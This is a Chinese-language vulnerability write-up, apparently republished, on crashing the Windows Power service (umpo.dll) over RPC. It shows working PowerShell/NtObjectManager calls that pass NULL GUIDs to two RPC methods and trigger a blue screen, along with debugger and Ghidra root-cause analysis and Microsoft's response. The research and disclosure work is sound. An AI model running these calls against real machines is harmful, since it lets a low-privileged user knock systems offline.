拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

admin 2025年6月4日09:50:29评论27 views字数 7401阅读24分40秒阅读模式

Unplugging your Power service with my special GUID


在研究 MS-RPC(Microsoft Remote Procedure Call)协议时,我发现了两个可导致 Windows 电源服务崩溃的 RPC 调用。这两个调用都以 GUID 作为关键参数之一。当在调用时指定 NULL 值作为 GUID 参数时,电源服务会崩溃并引发蓝屏死机 (BSOD)。

其中 UmpoRpcReadProfileAlias 调用仅适用于基于 Windows 11 的系统(包括 Windows 11、Windows Server 2025 等),而 UmpoRpcReadFromUserPowerKey 调用经测试也可在 Windows 10 系统上成功触发。任何用户身份均可发起这些 RPC 调用。

此漏洞的影响在于,低权限用户可通过崩溃电源服务引发 BSOD,从而对 Windows 客户端或服务器实施拒绝服务 (DoS) 攻击。由于电源服务是负责管理电源设置、电池状态和电源策略的核心系统服务,无法通过服务管理器 (services.msc) 或命令行工具(如 sc config 或 net stop)进行关闭或禁用。

漏洞发现过程

为自动化研究 MS-RPC 协议,我开发了基于 NtObjectManager 的模糊测试工具 (fuzzer)。该工具通过生成 RPC 客户端与服务器端交互,动态调用 RPC 接口方法。在对 C:WindowsSystem32umpo.dll 的 RPC 实现进行模糊测试时,系统突然崩溃并出现以下蓝屏错误:

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

定位触发漏洞的 RPC 调用

模糊测试工具会在执行前记录所有待调用的 RPC 调用日志。系统崩溃前最后记录的调用信息为:


RPCserver: umpo.dll Procedure: UmpoRpcReadProfileAliasParams: , System.Byte[], 1001337------------------------

手动复现 RPC 调用

根据这些信息,我们可以使用 NtObjectManager 手动复现该 RPC 调用。通过创建 RPC 客户端,我们可以查看存在漏洞的方法及其参数列表:


$rpcinterfaces = "C:windowssystem32umpo.dll" | Get-RpcServer$client = $rpcinterfaces | Get-RpcClient$client | gm | Where-Object { $_.Name -eq 'UmpoRpcReadProfileAlias' } | fl

输出:

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

该方法具有以下定义:


UmpoRpcReadProfileAlias(System.Nullable[guid] p0, byte[] p1, int p2)

要手动触发 RPC 调用,我们需要按以下方式为 System.Nullable[guid] 和 byte[] 定义参数类型:

我们首先创建包含随机输入数据的字节数组:


$bytearray = ([System.Text.Encoding]::UTF8.GetBytes("incendiumrocks"))

通过再次查看日志文件的最后几行,我们可以观察到触发蓝屏死机 (BSOD) 时使用的参数配置。第一个参数(对应 System.Nullable[guid] 类型)显示为空值,极有可能被设置为 NULL。那么为何该参数会被赋值为 NULL 呢?

模糊测试器 (fuzzer) 通过激活器 (activator) 动态创建复杂参数类型(如结构体 (Struct) 或全局唯一标识符 (GUID))的实例。由于该参数属于可空类型 (Nullable),测试器自动将 $Null 作为参数值传入。


$method = $client.GetType().GetMethods() |? { $_.Name -eq 'UmpoRpcReadProfileAlias' }$p0 = $method.GetParameters()[0]$guid = [Activator]::CreateInstance($p0.ParameterType)

通过调试信息可以确认当前 GUID 参数已被设置为 NULL


$guid -eq $NullTrue

现在我们可以像模糊测试器 (fuzzer) 那样发起 RPC 调用:


$client.UmpoRpcReadProfileAlias($guid,$bytearray,1001337)

该操作将再次触发蓝屏死机 (BSOD):

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

根本原因分析

通过分析存在漏洞方法的参数值,可以明确观察到 GUID 参数被定义为可空类型 (Nullable):


UmpoRpcReadProfileAlias(System.Nullable[guid] p0, byte[] p1, int p2)

这意味着无需提供 GUID 参数,若未指定该参数,其默认值将为 NULL。当我们使用 $Null 替代 $GUID 时系统同样会崩溃,这与预期完全一致,因为两者本质上是等效的。

附加调试器

为了深入分析问题,我们可以将 Windbg 调试器附加到 Power 进程。为何选择 Power 进程?因为 umpo.dll 的文件描述明确标注为:User-mode Power Service(用户模式电源服务)。

当使用 NULL 值作为 GUID 参数发起 RPC 调用时,调试器会捕获到访问冲突 (access violation):

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

通过分析调用堆栈 (call stack),可以观察到崩溃发生在 RtlStringFromGUIDEx 函数:

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

同时需要检查寄存器状态:

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

相关汇编指令试图从内存地址 rbx + 0x0E 加载一个字节(8 位值)到 ecx 寄存器,并将 ecx 的高 24 位清零。ds:00000000'0000000e=?? 表明 rbx + 0x0E 指向的内存地址未初始化或无效,当 rbx 指针错误时会导致访问冲突 (access violation) 并引发系统崩溃。

为了进行对比分析,我们首先在 Windbg 中为 RtlStringFromGUIDEx 函数设置断点:


bp !ntdll!RtlStringFromGUIDEx+0x3d

接下来我们在 PowerShell 中创建有效的全局唯一标识符 (GUID):


$guid = [Guid]::NewGuid()$guid
Guid----c97a92f2-3e2c-4344-b1d5-4836f00cd959

我们发起 RPC 调用后,Windbg 调试器成功命中预设的断点 (breakpoint):RtlStringFromGUIDEx 断点命中

查看寄存器状态,此时 RBX 寄存器的值为 0000026897240004:

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

继续执行调试器,可以观察到 RPC 调用现在返回了正常的结果值:

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

使用 Ghidra 进行逆向分析

为了深入理解根本原因 (root cause),我使用 Ghidra 对目标函数进行了逆向工程。以下代码并非 Ghidra 的直接输出,而是经过重构后更易于理解的伪代码表示。


uint UmpoReadProfileAlias(guid, bytearray, longlong profileSize) {    uint status;    longlong registryHandle[2];    UNICODE_STRING unicodeGuid;    undefined8 unicodeBuffer;    undefined8 unicodeBufferExtra;
    // Initialize the unicode string buffer    unicodeBuffer = 0;    unicodeBufferExtra = 0;
    // Check if the input profile size is zero    if (profileSize == 0) {        return ERROR_INVALID_PARAMETER;  // Equivalent to 0x57    }
    registryHandle[0] = -1;
    // Check if the root key is invalid    if (UmpoPpmProfileEventsRootKey == -1) {        return ERROR_FILE_NOT_FOUND;  // Equivalent to 2    }
    // Convert GUID to Unicode String    RtlInitUnicodeString(&unicodeGuid, 0);    status = RtlStringFromGUID(guid, &unicodeGuid);
    if (status == 0) {        // Try opening the registry key        status = RegOpenKeyExW(UmpoPpmProfileEventsRootKey, unicodeBufferExtra, 0, KEY_READ, registryHandle);
        if (status == 0) {            // Query the registry value            status = RegQueryValueExW(registryHandle[0], L"Name"00, bytearray, profileSize);
            // If query failed with an unexpected error, trigger telemetry            if ((status & 0xfffffffd) != 0) {                MicrosoftTelemetryAssertTriggeredNoArgs();            }        } else if (status != ERROR_FILE_NOT_FOUND) {            // Trigger telemetry if the registry open operation failed with an unexpected error            MicrosoftTelemetryAssertTriggeredNoArgs();        }    }
    // Free allocated Unicode string    RtlFreeUnicodeString(&unicodeGuid);
    // Close the registry key if it was successfully opened    if (registryHandle[0] != -1) {        RegCloseKey(registryHandle[0]);    }
    return status;}

RtlStringFromGUID 函数要求有效的 GUID 参数。当传入 NULL 值时,由于未对 GUID 进行有效性校验而直接进行解析,会导致访问违规(段错误 segmentation fault)。

另一个漏洞实例

在排除 UmpoReadProfileAlias RPC 方法并重新运行模糊测试器 (fuzzer) 后,系统再次触发蓝屏死机 (BSOD)。日志文件末尾显示以下记录:


RPCserver: umpo.dll Procedure: UmpoRpcReadFromUserPowerKeyParams: , , , 1001337, 1001337, System.Byte[], 1001337, ------------------------

我们来看 UmpoRpcReadFromUserPowerKey 方法的定义:


UmpoRpcReadFromUserPowerKey(System.Nullable[guid] p0, System.Nullable[guid] p1, System.Nullable[guid] p2, int p3, int p4, byte[] p5, int p6, System.Nullable[NtCoreLib.Ndr.Marshal.NdrEnum16] p8)

该方法同样接受 3 个 System.Nullable[guid] 参数。为确定具体哪个参数导致蓝屏死机(BSOD),我们可以手动依次将每个 GUID(全局唯一标识符)参数设为 NULL 值进行测试:


$guid = [guid]"00000000-0000-0000-0000-000000000000"$client.UmpoRpcReadFromUserPowerKey($guid,$guid,$guid,1001337,1001337,$bytearray,1001337,$complex)
p5                        p7 p8 retval--                        -- -- ------{105, 110, 99, 101…} 1001337        87
$client.UmpoRpcReadFromUserPowerKey($guid,$guid,$null,1001337,1001337,$bytearray,1001337,$complex)
p5                        p7 p8 retval--                        -- -- ------{105, 110, 99, 101…} 1001337        87
$client.UmpoRpcReadFromUserPowerKey($guid,$null,$null,1001337,1001337,$bytearray,1001337,$complex)
p5                        p7 p8 retval--                        -- -- ------{105, 110, 99, 101…} 1001337        87

但当发起下一个 RPC 调用(首个 GUID 参数同样设为 NULL 时),系统即会崩溃:


$client.UmpoRpcReadFromUserPowerKey($null,$null,$null,1001337,1001337,$bytearray,1001337,$complex)
拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

Windbg

当发起 RPC 调用时,我们观察到另一个访问违规 (Access Violation),这次发生在 UmpoReadFromUserPowerKey 函数:

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

地址 0x00007ffac7178461 处的汇编指令试图将 r14 寄存器指向的内存地址中的四字长数据 (8 字节) 移动到 rax 寄存器。此时 r14 的值为 00000000'00000000,表明这是空指针解引用 (NULL pointer dereference)。由于 mov 指令尝试从无效地址读取数据,最终导致访问违规。

Ghidra 逆向分析

我试图探究为何第二个和第三个 GUID 参数可以为 NULL 而第一个参数不能。为此,我在 Ghidra 中设置 umpo.dll 的基地址并定位到 UmpoReadFromUserPowerKey 函数,随后搜索 Windbg 中触发访问违规的内存地址 0x00007ffac7178461

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

值得注意的是,代码中存在针对第一个 GUID 参数的条件判断语句:

拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

if ((PtrUmpoFullPowerPlanSupportDisabled != '0') && (firstguid != (longlong *)0x0))

此处 firstguid 参数值非 NULL 时才会触发"漏洞函数 (vulnerable function)",但代码未对 firstguid 指针进行有效性校验就直接执行解引用 (dereference) 操作,将其赋值给 lVar16 变量:


if (param_4 != '�') {    lVar16 = *firstguid; // Causes the crash}

程序中 secondguid 和 thirdguid 的指针似乎未被解引用 (dereference),这解释了为何仅当 firstguid 为 NULL 时会引发崩溃 (crash)。

概念验证 (PoC)

使用强大的 NtObjectManager 工具,我们可以将 RPC 接口格式化为原生 C# RPC 客户端。这允许在 .NET 中使用客户端并通过可执行文件发起 RPC 调用。UmpoRpcReadProfileAlias 和 UmpoReadFromUserPowerKey 的 PoC 可在 GitHub 获取。

UmpoRpcReadProfileAlias

  • 适用于 Windows 11 和 Windows Server 2025
  • Windows 10 不支持该 RPC 调用

UmpoReadFromUserPowerKey

  • 已在 Windows 10 及以上版本成功测试
  • 已在 Windows Server 2019 及以上版本成功测试

向微软报告

我将这两个漏洞报告给微软后,得到的回复是:该问题不构成直接威胁且属于中等严重性,因为需要冷启动或会导致蓝屏死机 (BSOD)。由于代码通过 UmpoIsClientLocal 检查远程 RPC 并在远程情况下终止,该漏洞仅限本地利用。我们已将报告转交产品维护团队,他们将评估修复方案并采取必要措施保护客户安全

由于无法通过命名管道 (named pipe) 远程利用这些 RPC 调用,因此属于中等严重性漏洞。微软通常仅对重要/严重漏洞采取紧急措施。但我希望此次详细分析能为后续修复提供参考。

若该案例被归类为中/低风险,则不受微软协调漏洞披露计划 (CVD)约束。本文发布前已通过微软审核批准。

致谢与资源

感谢 @FrankSpierings 在根本原因 (root cause) 分析和漏洞利用可行性评估方面的帮助。同时感谢 @JamesForshaw 开发 NtObjectManager 工具。

参考资源

  • https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools
  • https://learn.microsoft.com/en-us/windows/win32/rpc/rpc-start-page
  • https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/
  • https://ghidra-sre.org/

原文始发于微信公众号(securitainment):拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月4日09:50:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   拔你电源:利用特殊 GUID 使电源服务 (Power Service) 崩溃https://cn-sec.com/archives/4128022.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息